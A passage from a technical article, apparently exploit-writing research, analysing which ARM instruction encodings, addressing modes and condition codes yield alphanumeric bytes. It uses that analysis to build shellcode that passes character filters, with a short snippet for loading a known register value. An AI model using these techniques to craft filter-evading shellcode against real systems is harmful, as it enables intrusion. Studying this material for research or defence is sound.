These constraints do not eliminate all non‑alphanumeric characters, but they can be used as a rule of thumb to quickly dismiss most of the invalid bytes. Each instruction will have to be checked whether its bit pattern follows these conditions and under which circumstances.

A potential problem for exploit writers is to get the return address to also be alphanumeric. This is not further discussed in this article as it strongly depends from situation to situation.

‑‑‑‑[ 2.1 Addressing modes

In this section we will describe which addressing modes we can use that will ensure that our shellcode is alphanumeric.

‑‑‑‑[ 2.1.0 Addressing modes for data processing

1. #immediate

11 8 7 0

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| rotate | imm_8 |

+‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Since we can fully control the value of imm_8, we can ensure that it is alphanumeric.

2. <Rm>

11 10 9 8 7 6 5 4 3 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑+

| 0| 0| 0| 0| 0| 0| 0| 0| Rm |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑+

Since bits 6 and 5 are both 0, this type of addressing mode can not be used in alphanumeric shellcode.

3. <Rm>, LSL #<shift_imm>

11 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| shift_imm | 0| 0| 0| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

As in addressing mode 2, bits 6 and 5 are 0, so it can not be represented alphanumerically.

4. <Rm>, LSL <Rs>

11 8 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| Rs | 0| 0| 0| 1| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

Again, bits 6 and 5 are 0, so this addressing mode can not be used.

5. <Rm>, LSR #<shift_imm>

11 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| shift_imm | 0| 1| 0| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

Since bit 6 is 0, bits 5 and 4 must both be one. Only bit 5 is one, we can not represent this addressing mode alphanumerically.

6. <Rm>, LSR <Rs>

11 8 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| Rs | 0| 0| 1| 1| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

Bit 6 is 0, but since bits 5 and 4 are both set to 1, we can use this addressing mode in our alphanumeric shellcode. Register Rm must be less than R10.

7. <Rm>, ASR #<shift_imm>

11 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| shift_imm | 1| 0| 0| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

Since bit 6 is set to 1, the only restriction on this addressing mode is that Rm can not be R0.

8. <Rm>, ASR <Rs>

11 8 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| Rs | 0| 1| 0| 1| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

This bit pattern is alphanumeric and allows any register to be used as Rm.

9. <Rm>, ROR #<shift_imm>

11 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| shift_imm | 1| 1| 0| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

Like addressing mode 8, this pattern is alphanumeric and any register can be used as Rm.

10. <Rm>, ROR <Rs>

11 8 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

| Rs | 0| 1| 1| 1| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑+

Since bits 6, 5 and 4 are set to 1, Rm must be smaller than R11.

11. <Rm>, RRX

11 10 9 8 7 6 5 4 3 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑+

| 0| 0| 0| 0| 0| 1| 1| 0| Rm |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑+

This bit pattern is alphanumeric and any register can be used as Rm.

‑‑‑‑[ 2.1.1 Addressing modes for load/store word or unsigned byte

1. [<Rn>, #+/‑<imm_12>]<!>

11 0

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| imm_12 |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

Since we can fully control the value of imm_12, we can ensure that it is alphanumeric.

2. [<Rn>, +/‑<Rm>]<!>

11 10 9 8 7 6 5 4 3 0

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑+

| 0| 0| 0| 0| 0| 0| 0| 0| Rm |

+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑+

This addressing mode can not be represented alphanumerically.

3. [<Rn>, +/‑<Rm>, <shift> #<shift_imm>]<!>

11 7 6 5 4 3 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑+‑‑‑‑‑‑‑‑+

| shift_imm |shift| 0| Rm |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑+‑‑+‑‑‑‑‑‑‑‑+

‑ If shift is LSL, then bits 6 and 5 are 0. This is not alphanumeric.

‑ If shift is LSR, then bit 6 is 0 and bit 5 is 1. But since bit 4 stays 0, it is not alphanumeric.

‑ If shift is ASR, then bit 6 is 1 and bit 5 is 0. This means that it is alphanumeric as long as Rm is not R0.

‑ If shift is ROR or RRX, then bits 6 and 5 will be 1, which is alphanumeric, regardless of the register used as Rm.

The other post‑indexing addressing modes discussed above have essentially the same bit layout for the last 12 bytes. They only differ in that these modes will unset bit 24 in the load or store instruction.

‑‑‑‑[ 2.1.2 Addressing modes for load/store multiple

The increment addressing modes will set bit 23 in the load or store instruction, while the decrement modes will unset bit 23. If bit 23 is set, then the instruction can not be represented alphanumerically. So only the decrement addressing mode can be used in alphanumeric shellcode.

‑‑‑‑[ 2.2 Conditional Execution

Because the condition code of an instruction is encoded in the most significant bits of the fourth byte of the instruction (bits 31‑28), the value of the condition code has a direct impact on the alphanumeric properties of the instruction. As a result, only a limited set of condition codes can be used in alphanumeric shellcode. The table below lists all the condition codes and their corresponding bit pattern:

[bitpattern] [name] [description]

0000 EQ Equal

0001 NE Not equal

0010 CS/HS Carry set/unsigned higher or same 0011 CC/LO Carry clear/unsigned lower 0100 MI Minus/negative

0101 PL Plus/positive or zero

0110 VS Overflow

0111 VC No overflow

1000 HI Unsigned higher

1001 LS Unsigned lower or same 1010 GE Signed greater than or equal 1011 LT Signed less than

1100 GT Signed greater than

1101 LE Signed less than or equal 1110 AL Always (unconditional) ‑ 1111 (used for other purposes)

_| |_

| |

bit31 bit28

Remember that the most significant bit of a byte should always be set to 0 in order to be alphanumeric, so this excludes the last eight condition codes. In addition, the resulting byte must be at least 0x30, so this excludes the first three condition codes too.

Unfortunately, 'AL' is one of the codes that cannot be used in alphanumeric shellcode. This means that all ARM instructions must be executed conditionally. In this article, we choose PL and MI as the two condition codes that we will use. They are mutually exclusive, so we can always ensure that an instruction gets executed by simply adding the same instruction twice to the shellcode, once with the PL suffix and once with the MI suffix.

‑‑‑‑[ 2.3 The Instruction List

In our list of instructions, we make a distinction between SZ/SO (should be zero/should be one) and IZ/IO (is zero/is one). We do this because the ARM reference manual specifies that specific bits must be set to 0 or 1 and others "should be" set to 0 or 1 (defined as SBZ or SBO in the manual). However, on our test processor if we set a bit marked as "should be" to something else, the processor throws an undefined instruction exception. As such, we've considered should be and must be to be equivalent for our discussion, but we note the difference should this behavior be different in other processors (since this would allow us to use many more instructions).

The table below lists all the instructions present in ARMv6. For each instruction, we've checked some simple constraints that may not be broken in order for the instruction to be alphanumeric. The main focus of this table is the high order bits of the second byte of the instruction (bits 23 to 20). The reason that only the high order bits of this byte are included, is because the high order bits of the first byte are set by the condition flags, and the high order bits of the third and fourth byte are often set by the operands of the instruction. When the table contains the value 'd' for a bit, it means that the value of this bit depends on specific settings.

The final column contains a list of things that disqualify the instruction for being used in alphanumeric shellcode. Disqualification criteria are that at least one of the four bytes of the instruction is either always too high to be alphanumeric, or too low. In this column, the following conventions are used: ‑ 'IO' is used to indicate that one or more bits is always 1 ‑ 'IZ' is used to indicate that one or more bits is always 0 ‑ 'SO' is used to indicate that one or more bits should be 1 ‑ 'SZ' is used to indicate that one or more bits should be 0

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑

|instruction|version |23|22|21|20|disqualifiers |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑

|ADC | |1 |0 |1 |d |IO: 23 | |ADD | |1 |0 |0 |d |IO: 23 | |AND | |0 |0 |0 |d |IZ: 23‑21 |

|B, BL | |d |d |d |d | |

|BIC | |1 |1 |0 |d |IO: 23 | |BKPT |5+ |0 |0 |1 |0 |IO: 31, IZ: 22, 20 | |BLX (1) |5+ |d |d |d |d |IO: 31 | |BLX (2) |5+ |0 |0 |1 |0 |SO: 15, IZ: 22, 20 | |BX |4T, 5+ |0 |0 |1 |0 |IO: 7, SO: 15, IZ 22, 20 | |BXJ |5TEJ, 6+|0 |0 |1 |0 |SO: 15, IZ: 22, 20, 6, 4 |

|CDP | |d |d |d |d | |

|CLZ |5+ |0 |1 |1 |0 |IZ: 7‑5 | |CMN | |0 |1 |1 |1 |SZ: 15‑13 | |CMP | |0 |1 |0 |1 |SZ: 15‑13 | |CPS |6+ |0 |0 |0 |0 |SZ: 15‑13, IZ 22‑20 | |CPY |6+ |1 |0 |1 |0 |IZ: 22, 20, 7‑5, IO 23 |

|EOR | |0 |0 |1 |d | |

|LDC | |d |d |d |1 | |

|LDM (1) | |d |0 |d |1 | |

|LDM (2) | |d |1 |0 |1 | |

|LDM (3) | |d |1 |d |1 |IO: 15 |

|LDR | |d |0 |d |1 | |

|LDRB | |d |1 |d |1 | |

|LDRBT | |0 |1 |1 |1 | |

|LDRD |5TE+ |d |d |d |0 | |

|LDREX |6+ |1 |0 |0 |1 |IO: 23, 7 | |LDRH | |d |d |d |1 |IO: 7 | |LDRSB |4+ |d |d |d |1 |IO: 7 | |LDRSH |4+ |d |d |d |1 |IO: 7 |

|LDRT | |d |0 |1 |1 | |

|MCR | |d |d |d |0 | |

|MCRR |5TE+ |0 |1 |0 |0 | |

|MLA | |0 |0 |1 |d |IO: 7 | |MOV | |1 |0 |1 |d |IO: 23 |

|MRC | |d |d |d |1 | |

|MRRC |5TE+ |0 |1 |0 |1 | |

|MRS | |0 |d |0 |0 |SZ: 7‑0 | |MSR | |0 |d |1 |0 |SO: 15 | |MUL | |0 |0 |0 |d |IO: 7 | |MVN | |1 |1 |1 |d |IO: 23 | |ORR | |1 |0 |0 |d |IO: 23 | |PKHBT |6+ |1 |0 |0 |0 |IO: 23 | |PKHTB |6+ |1 |0 |0 |0 |IO: 23 | |PLD |5TE+, |d |1 |0 |1 |IO: 15 |

| |!5TExP | | | | |

|QADD |5TE+ |0 |0 |0 |0 |IZ: 22‑21 | |QADD16 |6+ |0 |0 |1 |0 |IZ: 22, 20 | |QADD8 |6+ |0 |0 |1 |0 |IZ: 22, 20, IO: 7 | |QADDSUBX |6+ |0 |0 |1 |0 |IZ: 22, 20 |

|QDADD |5TE+ |0 |1 |0 |0 | |

|QDSUB |5TE+ |0 |1 |1 |0 | |

|QSUB |5TE+ |0 |0 |1 |0 |IZ: 22, 20 | |QSUB16 |6+ |0 |0 |1 |0 |IZ: 22, 20 | |QSUB8 |6+ |0 |0 |1 |0 |IZ: 22, 20, IO: 7 | |QSUBADDX |6+ |0 |0 |1 |0 |IZ: 22, 20 | |REV |6+ |1 |0 |1 |1 |IO: 23 | |REV16 |6+ |1 |0 |1 |1 |IO: 23, 7 | |REVSH |6+ |1 |1 |1 |1 |IO: 23, 7 | |RFE |6+ |d |0 |d |1 |SZ: 14‑13, 6‑5 |

|RSB | |0 |1 |1 |d | |

|RSC | |1 |1 |1 |d |IO: 23 | |SADD16 |6+ |0 |0 |0 |1 |IZ: 22‑21 | |SADD8 |6+ |0 |0 |0 |1 |IZ: 22‑21, IO: 7 | |SADDSUBX |6+ |0 |0 |0 |1 |IZ: 22‑21 | |SBC | |1 |1 |0 |d |IO: 23 | |SEL |6+ |1 |0 |0 |0 |IO: 23 | |SETEND |6+ |0 |0 |0 |0 |SZ: 14‑13, IZ: 22‑21, 6‑5 | |SHADD16 |6+ |0 |0 |1 |1 |IZ: 6‑5 | |SHADD8 |6+ |0 |0 |1 |1 |IO: 7 |

|SHADDSUBX |6+ |0 |0 |1 |1 | |

|SHSUB16 |6+ |0 |0 |1 |1 | |

|SHSUB8 |6+ |0 |0 |1 |1 |IO: 7 |

|SHSUBADDX |6+ |0 |0 |1 |1 | |

|SMLA<x><y> |5TE+ |0 |0 |0 |0 |IO: 7, IZ: 22‑21 | |SMLAD |6+ |0 |0 |0 |0 |IZ: 22‑21 | |SMLAL | |1 |1 |1 |d |IO: 23,7 | |SMLAL<x><y>|5TE+ |0 |1 |0 |0 |IO: 7 |

|SMLALD |6+ |0 |1 |0 |0 | |

|SMLAW<y> |5TE+ |0 |0 |1 |0 |IZ: 22, 20, IO: 7 | |SMLSD |6+ |0 |0 |0 |0 |IZ: 22‑21 |

|SMLSLD |6+ |0 |1 |0 |0 | |

|SMMLA |6+ |0 |1 |0 |1 | |

|SMMLS |6+ |0 |1 |0 |1 |IO: 7 | |SMMUL |6+ |0 |1 |0 |1 |IO: 15 | |SMUAD |6+ |0 |0 |0 |0 |IZ: 22‑21, IO: 15 | |SMUL<x><y> |5TE+ |0 |1 |1 |0 |SZ: 15, IO: 7 | |SMULL | |1 |1 |0 |d |IO: 23 | |SMULW<x><y>|5TE+ |0 |0 |1 |0 |IZ: 22, 20,SZ: 14‑13, IO: 7| |SMUSD |6+ |0 |0 |0 |0 |IZ: 22‑21, IO: 15 | |SRS |6+ |d |1 |d |0 |SZ: 14‑13, 6‑5 | |SSAT |6+ |1 |0 |1 |d |IO: 23 | |SSAT16 |6+ |1 |0 |1 |0 |IO: 23 | |SSUB16 |6+ |0 |0 |0 |1 |IZ: 22‑21 | |SSUB8 |6+ |0 |0 |0 |1 |IZ: 22‑21, IO: 7 | |SSUBADDX |6+ |0 |0 |0 |1 |IZ: 22‑21 |

|STC |2+ |d |d |d |0 | |

|STM (1) | |d |0 |d |0 |IZ: 22, 20 |

|STM (2) | |d |1 |0 |0 | |

|STR | |d |0 |d |0 |IZ: 22, 20 |

|STRB | |d |1 |d |0 | |

|STRBT | |d |1 |1 |0 | |

|STRD |5TE+ |d |d |d |0 |IO: 7 | |STREX |6+ |1 |0 |0 |0 |IO: 7 | |STRH |4+ |d |d |d |0 |IO: 7 | |STRT | |d |0 |1 |0 |IZ: 22, 20 |

|SUB | |0 |1 |0 |d | |

|SWI | |d |d |d |d | |

|SWP |2a, 3+ |0 |0 |0 |0 |IZ: 22‑21, IO: 7 | |SWPB |2a, 3+ |0 |1 |0 |0 |IO: 7 | |SXTAB |6+ |1 |0 |1 |0 |IO: 23 | |SXTAB16 |6+ |1 |0 |0 |0 |IO: 23 | |SXTAH |6+ |1 |0 |1 |1 |IO: 23 | |SXTB |6+ |1 |0 |1 |0 |IO: 23 | |SXTB16 |6+ |1 |0 |0 |0 |IO: 23 | |SXTH |6+ |1 |0 |1 |1 |IO: 23 | |TEQ | |0 |0 |1 |1 |SZ: 14‑13 | |TST | |0 |0 |0 |1 |IZ: 22‑21, SZ: 14‑13 | |UADD16 |6+ |0 |1 |0 |1 |IZ: 6‑5 | |UADD8 |6+ |0 |1 |0 |1 |IO: 7 |

|UADDSUBX |6+ |0 |1 |0 |1 | |

|UHADD16 |6+ |0 |1 |1 |1 |IZ: 6‑5 | |UHADD8 |6+ |0 |1 |1 |1 |IO: 7 |

|UHADDSUBX |6+ |0 |1 |1 |1 | |

|UHSUB16 |6+ |0 |1 |1 |1 | |

|UHSUB8 |6+ |0 |1 |1 |1 |IO: 7 |

|UHSUBADDX |6+ |0 |1 |1 |1 | |

|UMAAL |6+ |0 |1 |0 |0 |IO: 7 | |UMLAL | |1 |0 |1 |d |IO: 23, 7 | |UMULL | |1 |0 |0 |d |IO: 23, 7 | |UQADD16 |6+ |0 |1 |1 |0 |IZ: 6‑5 | |UQADD8 |6+ |0 |1 |1 |0 |IO: 7 |

|UQADDSUBX |6+ |0 |1 |1 |0 | |

|UQSUB16 |6+ |0 |1 |1 |0 | |

|UQSUB8 |6+ |0 |1 |1 |0 |IO: 7 |

|UQSUBADDX |6+ |0 |1 |1 |0 | |

|USAD8 |6+ |1 |0 |0 |0 |IO: 23, 15, IZ: 6‑5 | |USADA8 |6+ |1 |0 |0 |0 |IO: 23, IZ: 6‑5 | |USAT |6+ |1 |1 |1 |d |IO: 23 | |USAT16 |6+ |1 |1 |1 |0 |IO: 23 |

|USUB16 |6+ |0 |1 |0 |1 | |

|USUB8 |6+ |0 |1 |0 |1 |IO: 7 |

|USUBADDX |6+ |0 |1 |0 |1 | |

|UXTAB |6+ |1 |1 |1 |0 |IO: 23 | |UXTAB16 |6+ |1 |1 |0 |0 |IO: 23 | |UXTAH |6+ |1 |1 |1 |1 |IO: 23 | |UXTB |6+ |1 |1 |1 |0 |IO: 23 | |UXTB16 |6+ |1 |1 |0 |0 |IO: 23 | |UXTH |6+ |1 |1 |1 |1 |IO: 23 |

+‑‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑

From the list of 147 instructions that are present in the latest revision of the ARM documentation, we will now remove all instructions that require a specific ARM architecture version and all the instructions that we have disqualified based on whether or not they have bit patterns which are incompatible with alphanumeric characters.

This leaves us with 18 instructions, as listed in the reference manual: B/BL, CDP, EOR, LDC, LDM(1), LDM(2), LDR, LDRB, LDRBT, LDRT, MCR, MRC, RSB, STM(2), STRB, STRBT, SUB, SWI.

There are a few instructions listed here that are of limited use to us though:

‑ B/BL: the Branch instruction is of limited use to us in most cases: the last 24 bits of this instruction are taken and then shifted left two positions (because instructions must always start at a multiple of 4). The result is then added to the program counter and execution will then continue at that location. To make this offset alphanumeric, we would have to jump at least 12MB from our current location, this limits the usefulness of this instruction since we will not always be able to control memory that is at least 12MB from our shellcode.

‑ CDP: is used to tell the coprocessor to do some kind of data processing. Since we can not be sure about which coprocessors may be available or not on a specific platform, we discard this instruction as well.

‑ LDC: the load coprocessor instruction loads data from a consecutive range of memory addresses into a coprocessor. ‑ MCR/MRC: move to and from coprocessor register to and from ARM registers. While this instruction could be useful for caching purposes (more on this later), it is a privileged instruction before ARMv6.

We are now left with 13 instructions: EOR, LDM(1), LDM(2), LDR, LDRB, LDRBT, LDRT, RSB, STM, STRB, STRBT, SUB, SWI. We now group together the instructions that have the same basic functionality but that only differ in the details. For instance, LDR loads a word from memory into a register whereas LDRB loads a byte into the least significant bytes of a register. We get the following:

‑ EOR: Exclusive OR

‑ LDM (LDM(1), LDM(2)): Load multiple registers from a consecutive memory locations

‑ LDR (LDR, LDRB, LDRBT, LDRT): Load value from memory into a register

‑ STM: Store multiple registers to consecutive memory locations ‑ STR (STRB, STRBT): Store a register to memory

‑ SUB (SUB, RSB): Subtract

‑ SWI: Software Interrupt a.k.a. do a system call

Unfortunately, the instructions in the above list are not always alphanumeric. Depending on which operands are used, these functions may still generate non‑alphanumeric characters. Hence, some additional constraints must be specified for each function. Below, we discuss these constraints for the instructions in the groups.

‑ EOR: Syntax: EOR{<cond>}{S} <Rd>, <Rn>, <shifter_operand>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 0| I| 0| 0| 0| 1| S| Rn | Rd | shifter_operand |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

In order for the second byte to be alphanumeric, the S bit must be set to 1. If this bit is set to 0, the resulting value would be less than 47, which is not alphanumeric. Rn can also not be a register higher than R9. Since Rd is encoded in the first four bits of the third byte, it may not start with a 1. This means that only the low registers can be used. In addition, register R0 to R2 can not be used, because this would generate a byte that is too low to be alphanumeric. The shifter operand must be tweaked, such that its most significant four bytes generate valid alphanumeric characters in combination with Rd. The eight least significant bits are, of course, also significant as they fully determine the fourth byte of the instruction. Details about the shifter operand can be found in the ARM architecture reference manual.

‑ LDM(1): Syntax: LDM{<cond>}<addressing_mode> <Rn>{!}, <registers>

31 28 27 26 25 24 23 22 21 20 19 16 15 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

|cond | 1| 0| 0| P| U| 0| W| 1| Rn | register list |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

LDM(2): Syntax: LDM{<cond>}<addressing_mode> <Rn>, <registers_without_pc>^

31 28 27 26 25 24 23 22 21 20 19 16 15 14 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

|cond | 1| 0| 0| P| U| 1| 0| 1| Rn | 0| register list |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

The list of registers that is loaded into memory is stored in the last two bytes of the instructions. As a result, not any list of registers can be used. In particular, for the low registers, R7 can never be used. R6 or R5 must be used, and if R6 is not used, R4 must be used. The same goes for the high registers. Additionally, the U bit must be set to 0 and the W bit to 1, to ensure that the second byte of the instruction is alphanumeric. For Rn, registers R0 to R9 can be used with LDM(1), and R0 to R10 can be used with LDM(2).

‑ LDR: Syntax: LDR{<cond>} <Rd>, <addressing_mode>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 1| I| P| U| 0| W| 1| Rn | Rd | addr_mode |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

LDRB: Syntax: LDR{<cond>}B <Rd>, <addressing_mode>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 1| I| P| U| 1| W| 1| Rn | Rd | addr_mode |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

LDRBT: Syntax: LDR{<cond>}BT <Rd>, <post_indexed_addressing_mode>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 1| I| 0| U| 1| 1| 1| Rn | Rd | addr_mode |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

LDRT: Syntax: LDR{<cond>}T <Rd>, <post_indexed_addressing_mode>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 1| I| 0| U| 0| 1| 1| Rn | Rd | addr_mode |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

The details of the addressing mode are described in the ARM reference manual and will not be repeated here for brevity's sake. However, the addressing mode must be specified in a way such that the fourth byte of the instruction is alphanumeric, and the least significant four bits of the third byte generate a valid character in combination with Rd. Rd cannot be one of the high registers, and cannot be R0‑R2. The U bit must also be 0.

‑ STM: Syntax: STM{<cond>}<addressing_mode> <Rn>, <registers>^

31 28 27 26 25 24 23 22 21 20 19 16 15 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

|cond | 1| 0| 0| P| U| 1| 0| 0| Rn | register list |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑+‑

STRB: Syntax: STR{<cond>}B <Rd>, <addressing_mode>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 1| I| P| U| 1| W| 0| Rn | Rd | addr_mode |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

STRBT: Syntax: STR{<cond>}BT <Rd>, <post_indexed_addressing_mode>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 1| I| 0| U| 1| 1| 0| Rn | Rd | addr_mode |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

The structure of STM is very similar to the structure of the LDM operation, and the structure of STRB(T) is very similar to LDRB(T). Hence, comparable constraints apply. The only difference is that other values for Rn must be used in order to generate an alphanumeric character for the third byte of the instruction.

‑ SUB: Syntax: SUB{<cond>}{S} <Rd>, <Rn>, <shifter_operand>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 0| I| 0| 0| 1| 0| S| Rn | Rd | shifter_operand |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

RSB: Syntax: RSB{<cond>}{S} <Rd>, <Rn>, <shifter_operand>

31 28 27 26 25 24 23 22 21 20 19 16 15 12 11 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

|cond | 0| 0| I| 0| 0| 1| 1| S| Rn | Rd | shifter_operand |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑+‑‑

To get the second byte of the instruction to be alphanumeric, Rn and the S bit must be set accordingly. In addition, Rd cannot be one of the high registers, or R0‑R2. As with the previous instructions, we refer you to the ARM architecture reference manual for a detailed instruction of the shifter operand.

‑ SWI: Syntax: SWI{<cond>} <immed_24>

31 28 27 26 25 24 23 0

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|cond | 1| 1| 1| 1| immed_24 |

+‑‑‑‑‑+‑‑+‑‑+‑‑+‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As will become clear further in the article, it was essential for us that the first byte of the SWI call is alphanumeric. Fortunately, this can be accomplished by using one of the condition codes discussed in the previous section. The other three bytes are fully determined by the immediate value that is passed as the operand of the SWI instruction.

‑‑‑‑[ 2.4 Getting a known value in a register

When our shellcode starts executing, we are faced with a problem: We do not know which values the registers contain. So we must place our own value in a register, however we don't have any traditional instructions for doing this. We can't use MOV because that is not alphanumeric. So we must make do with our remaining instructions. If we look at our arithmetic instructions, we can't EOR or SUB a register with/from itself to get a 0 into a register as using 3 registers as arguments is not alphanumeric. We could EOR or SUB with an immediate, but we don't know the values in the registers so we can't give an appropriate immediate which will return the expected value.

Given that these are our only arithmetic instructions, we can't arithmetically get a known value into a register. So our approach has been to use LDR. Since we know which code we're writing, we can use our shellcode as data and load a byte from the shellcode into a register.

This is done as follows:

SUB r3, pc, #48

LDRB r3, [r3, #‑48]

PC will always point to our shellcode, however we can't directly access it in an LDR instruction as this would result in non‑alphanumeric code. So we copy PC to R3 by subtracting 48 from PC. Then we use R3 in our LDRB instruction to load a known byte from our shellcode into R3 (we use an immediate offset to ensure that the last byte of the instruction is alphanumeric). Once this is done we can use R3 as the base register for loading values into other registers. Subtracting 48 from R3 will give us 0, subtracting 49 will give us ‑1, performing an exclusing or with a known value will give us another known value, etc.

